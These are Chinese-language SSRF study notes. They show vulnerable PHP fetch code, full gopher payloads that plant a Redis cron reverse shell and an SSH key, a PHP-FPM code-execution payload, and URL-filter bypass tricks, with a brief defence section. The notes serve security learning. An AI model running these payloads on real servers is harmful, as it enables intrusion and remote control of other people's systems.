SSRF 学习笔记
漏洞简介
SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。
漏洞代码
curl_exec() 版
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
file_get_contents() 版
$url = $_GET['url'];;
echo file_get_contents($url);
fsockopen() 版
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr (error number $errno) \n";
}
else
{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp))
{
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
ssrf 利用
这里以 curl 为例,查看 curl 的版本和该版本支持的协议。如 http,file, dict, gopher,sftp
curl 7.55.1 (x86_64-pc-linux-gnu) libcurl/7.55.1 OpenSSL/1.0.2l zlib/1.2.8 libidn2/2.0.2 libpsl/0.18.0 (+libidn2/2.0.2) libssh2/1.8.0 nghttp2/1.25.0 librtmp/2.3
Release-Date: 2017-08-14
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL
本地利用
# 利用file协议查看文件
curl -v 'file:///etc/passwd'
# 利用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'
# 利用gopher协议反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
远程利用
创建 ssrf.php:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo $url;
curl_exec($ch);
curl_close($ch);
?>
远程利用
# 利用file协议任意文件读取
curl -v 'http:///192.168.75.130/ssrf.php?url=file:///etc/passwd'
# 利用dict协议查看端口
curl -v 'http:///192.168.75.130/ssrf.php?url=dict://127.0.0.1:22'
# 利用gopher协议反弹shell
curl -v 'http://192.168.75.130/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
攻击内网应用
主要攻击 redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,主要利用 gopher 协议。
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache 也可以进行 GET、POST 请求。这极大拓宽了 SSRF 的攻击面。
攻击 redis
redis 反弹 shell
redis_shell.sh:
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
注意 redis 反弹 shell 有个坑,ubuntu 不能使用 bash 反弹 shell,如果如遇到 ubuntu 就该为写 ssh key 吧。
用 socat 抓数据包:
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
执行脚本:
bash redis_shell.sh 127.0.0.1 4444
socat 捕获到的数据:
> 2018/04/21 08:51:02.903058 length=85 from=0 to=84
*3\r
$3\r
set\r
$1\r
1\r
$58\r
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
\r
< 2018/04/21 08:51:02.904598 length=5 from=0 to=4
+OK\r
> 2018/04/21 08:51:02.913147 length=65 from=0 to=64
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$24\r
/var/spool/cron/crontabs\r
< 2018/04/21 08:51:02.914291 length=5 from=0 to=4
+OK\r
> 2018/04/21 08:51:02.929191 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2018/04/21 08:51:02.930264 length=5 from=0 to=4
+OK\r
> 2018/04/21 08:51:02.936022 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2018/04/21 08:51:02.939814 length=5 from=0 to=4
+OK\r
> 2018/04/21 08:51:02.943303 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2018/04/21 08:51:02.944066 length=5 from=0 to=4
+OK\r
将其保存为 socat.log
然后将其转换为 gopher 适用的协议,这里用 jaychou 师傅写的一个脚本
转换规则如下:
如果第一个字符是 > 或者 < 那么丢弃该行字符串,表示请求和返回的时间。
如果前 3 个字符是 + OK 那么丢弃该行字符串,表示返回的字符串。
将 \ r 字符串替换成 %0d%0a
空白行替换为 %0a
tran2gopher.py:
#coding: utf-8
#author: JoyChou
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp
python tran2gopher.py socat.log
结果为:
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$24%0d%0a/var/spool/cron/crontabs%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a
本地测试是否成功:
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$24%0d%0a/var/spool/cron/crontabs%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a'
如果返回 5 个 ok 则表示 5 个命令都执行成功
如果远程测试,则还应进行 url 编码:
curl -v 'http://192.168.75.130/ssrf.php?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%36%33%37%39%2f%5f%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%35%38%25%30%64%25%30%61%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%32%37%2e%30%2e%30%2e%31%2f%31%32%33%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%32%34%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%63%72%6f%6e%74%61%62%73%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%71%75%69%74%25%30%64%25%30%61%25%30%61'
监听端口一分钟后,就会执行命令反弹 shell
nc -lvp 1234
写入 ssh key
先生成 ssh key
ssh-keygen -t rsa
ssh_shell.sh
echo -e "\n\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNjOo6YRWDUNLdBDX3Y8lrEm6r9Ov9rFtYx5U/XSrSdUsRmGW9PvAlceS4H/5aExJc04bcTXQXRHO3RJQHcKvPUIcrxOION2mvccWkehmHnTTDCUw9igqFH91aMg013Ist6xKnco+Nn9LKJD49rtMKG+BFOTLg4C27gLC0OZkl8itZGHTS9S8I5LTEpwLItDkbZBgmDKYi/kaWjlw9PWtFYNpEvrt2SBgvWnHkVzPPELfTkbiIuwHYyYZD6YAXpH3tplk5RIZoHID08YzdxQqjcNdEXMFuaYvfdIWIWfzbhAwKl/lSpMDOBosAbd70CdjIz7VMcoYCcArr+zNtg8Hz root@ubuntu\n\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /root/.ssh
redis-cli -h $1 -p $2 config set dbfilename authorized_keys
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
接下来过程和上面类似,不在重复。
在 redis 服务器上还有 web 服务知道路径的时候还可以直接写 webshell。
攻击 fastcgi
使用 vulhun 的 fpm 环境
libcurl 版本 >=7.45.0
PHP-FPM 监听端口
PHP-FPM 版本 >= 5.3.3
知道服务器上任意一个 php 文件的绝对路径
由于 EXP 里有 %00,CURL 版本小于 7.45.0 的版本,gopher 的 %00 会被截断。
https://curl.haxx.se/changes.html#7_45_
转换为 Gopher 的 EXP
监听一个端口的流量 nc -lvp 2333 > 1.txt,执行 EXP,流量打到 2333 端口
python fpm.py -c " /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/lib/php/PEAR.php
urlencode
f = open('1.txt')
ff = f.read()
from urllib import quote
print quote(ff)
得到 gopher 的 EXP
%01%01%B2%93%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B2%93%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%B2%93%00%00%00%00%01%05%B2%93%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%B2%93%00%00%00%00
执行:
curl 'gopher://127.0.0.1:9000/_%01%01%B2%93%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B2%93%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%B2%93%00%00%00%00%01%05%B2%93%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%B2%93%00%00%00%00'
成功后可发现生成了服务器上生成了 / tmp/1.php 文件
SSRF 漏洞出现的场景
- 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
- 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
- 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
- Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
- 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
例子 - 在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。
- 根据远程 URL 上传,静态资源图片等,这些会请求远程服务器的资源。
- 数据库的比如 mongodb 的 copyDatabase 函数,这点看猪猪侠讲的吧,没实践过。
- 邮件系统就是接收邮件服务器地址这些地方。
- 文件就找 ImageMagick,xml 这些。
- 从 URL 关键字中寻找,比如:source,share,link,src,imageurl,target 等。
防御
- 限制协议为 HTTP、HTTPS
- 禁止 30x 跳转
- 设置 URL 白名单或者限制内网 IP
绕过
http://127.0.0.1/ 被过滤的时候,可以尝试一下几种方式:
1、@或#
http://[email protected]
127.0.0.1#http://abc
2、添加端口号
http://127.0.0.1:8080
3、短地址
http://dwz.cn/11SMa
4、可以指向任意 ip 的域名:xip.io
10.0.0.1.xip.io 10.0.0.1
www.10.0.0.1.xip.io 10.0.0.1
mysite.10.0.0.1.xip.io 10.0.0.1
foo.bar.10.0.0.1.xip.io 10.0.0.1
5、ip 地址转换成进制来访问
115.239.210.26 = 16373751032
首先把这四段数字给 转成 16 进制!结果:73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成 8 进制!访问使用 http://00 + 转换后
十六进制
115.239.210.26 = 0x73.0xef.0xd2.0x1a
八进制
115.239.210.26 = 0163.0357.0322.0032
6.DNS rebinding
参考
1.SSRF in PHP
2.SSRF 服务端请求伪造
3. 利用 Gopher 协议拓展攻击面
4.SSRF 中的绕过姿势
原文链接:http://www.zerokeeper.com/web-security/ssrf-learning-notes.html